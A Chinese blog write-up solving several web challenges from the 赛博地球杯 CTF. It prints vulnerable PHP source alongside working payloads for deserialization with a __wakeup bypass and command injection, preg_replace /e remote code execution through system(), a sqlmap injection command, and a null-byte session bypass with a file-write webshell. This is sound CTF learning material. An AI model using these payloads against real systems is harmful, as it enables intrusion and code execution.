赛博地球杯web(非waf篇

emmmm,就看着dalao们打...我全程划水...感觉还是题目见得少,多看一看多总结总结吧...还有..乖乖姐姐太强了!

大量设备报表不见了(签道题)

云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
http://120.27.14.73:20006/

这个题其实没啥意思....看了半天都不知道怎么写,后来叶姐姐扫id扫到2333发现的flag...我就很无语... flag{2333_bao_pO_OOOO0o_o0OOO}

工控系统的敏感消息遭泄漏

云平台消息中心,泄漏了不该泄漏的消息。导致系统可以被入侵。
http://47.104.99.231:20003/

blacsheep 发现.git泄漏,githack拿源码 blacsheep index2.php的主要代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
error_reporting(0);

include 'class.php';
include 'waf.php';
if(@$_GET['file']){
$file = $_GET['file'];
waf($file);
}else{
$file = "Welcome";
}

if($_GET['id'] === '1'){
include 'welcome/nothing.php';
die();
}
$secret = $_GET['secret'];
$ad = $_GET['ad'];

if(isset($ad)){
if(ereg("^[a-zA-Z0-9]+$", $ad) === FALSE)
{
echo '<script>alert("Sorry ! Again !")</script>';
}
elseif(strpos($ad, '--') !== FALSE)
{
echo "Ok Evrything will be fine!<br ><br >";
if (stripos($secret, './') > 0) {
die();
}
unserialize($secret);
}
else
{
echo '<script>alert("Sorry ! You must have --")</script>';
}
}


?>

<?php

if($file == "Welcome"){
require_once 'welcome/welcome.php';
}else{
if(!file_exists("./import/$file.php")){
die("The file does not exit !");
}elseif(!system("php ./import/$file.php")){
die('Something was wrong ! But it is ok! ignore it :)');

}
}
?>

然后class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);

class Record{
public $file="Welcome";

public function __construct($file)
{
$this->file = $file;
}

public function __sleep()
{
$this->file = 'sleep.txt';
return array('file');
}

public function __wakeup()
{
$this->file = 'wakeup.txt';
}

public function __destruct()
{
if ($this->file != 'wakeup.txt' && $this->file != 'sleep.txt' && $this->file != 'Welcome') {
system("php ./import/$this->file.php");
}else{
echo "<?php Something destroyed ?>";
}
}


}

$b =new Record('Welcome');
unset($b);

?>

注意到import文件夹,然后在import文件夹里面发现了Flag.php,看了一下源码,发现flag是在注释里面

1
2
3
4
5
6
7
<?php
error_reporting(0);
//$flag = "flag{xxxxxxxxxxxxx}";

echo "Flag is !";
?>

所以直接去执行Flag.php还不行,必须读到源码才可以 回头看一下源码 file和id不管,没啥用,\(ad可以用%00过,所以\)ad=123%00-- 然后secret这里用到反序列化,但是涉及到一个__wakeup的问题,这里可以改变属性值绕过,所以写个php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Record{
public $file="Welcome";

public function __construct($file)
{
$this->file = $file;
}

}

$a = new Record("Flag.php && echo `cat /var/www/html/import/Flag.php`");
var_dump(serialize($a));

得到序列化后的值:

1
O:6:"Record":1:{s:4:"file";s:52:"Flag.php && echo `cat /var/www/html/import/Flag.php`";}

然后把record后面的1改成10(绕过__wakeup),传参的时候记得urlencode一下,也就是 O%3A6%3A%22Record%22%3A10%3A%7Bs%3A4%3A%22file%22%3Bs%3A52%3A%22 Flag.php+%26%26+echo+%60cat+%2Fvar%2Fwww%2Fhtml%2Fimport%2FFlag. php%60%22%3B%7D 所以去访问一下 flag! 看源码拿flag.jpg $flag = "flag{g_i_i_t_is_unsafe_ahhhahahah}

工控云管理系统设备维护中心被植入后门

其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
http://47.104.74.209:20005

首先看到http://47.104.74.209:20005/index.php?page=index 然后猜想有文件包含,然后读一下 http://47.104.74.209:20005/index.php? page=php://filter/read=convert.base64-encode/resource=index.php 拿到源码 发现有个preg_replace的后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}

}

这个利用就是replace的pattern后面如果有/e的话,replacement的语句是会得到执行的,所以我们就 直接pat=/test/e&rep=system("ls")&sub=test发现一个 s3chahahaDir 那继续pat=/test/e&rep=system("cd+s3chahahaDir+%26%26+ls")&sub=test发现一个flag文件夹,继续进入flag文件夹发现一个flag.php 然后我们 pat=/test/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=test 拿到flag $flag = 'flag{SecuriTY_Preg_eee3}

工控管理系统新版本

云工控管理系统新添加的登录和注册页面存在漏洞,请找出flag。
http://47.104.1.173:20004/

这个题密码找回页面存在注入 sqlmap跑 sqlmap -u http://47.104.1.173:20004/findpwd.php --data "username=inject_here" --dbs 然后balabala的就跑出来了 然后去注册同名用户即可登录拿到flag

工控云管理系统项目管理页面解析漏洞

这个工控云管理系统的解析漏洞要靠管理员去修补。
http://47.104.156.32:20007

这个题给出了源码,主要部分如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;

if(preg_match('/.+\.ph(p[3457]?ttml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>

<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}

if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>

首先得拿到一个admin的session id不能太大,否则数据库拿不出来,但是floatval($_GET[id])!=='1',末尾要求是'9',所以设置id=1%009,这里%00会被mysql_real_escape_string给转成\0,然后\0在mysql里面跑的话似乎是会被识别为字符串的结尾的 给几个图你们体会一下 blacsheep blacsheep blacsheep blacsheep 所以这里可以取出数据来 然后就是第二关的上传了 上传那里最坑的是backup目录是个假目录,所以用../会跳一层,这里测试了一下(因为我菜啊..),是可以得到执行的,比如 blacsheep 即使假目录不存在,会跳一下还是可以写入文件的,然后就是正则匹配,正则匹配总是匹配最后一个,所以最后我们用一个解析漏洞,传一个123.php/. 然后getshell,拿到flag okok,剩下的内容几乎每一个都可以写一篇博客了.....慢慢整理吧....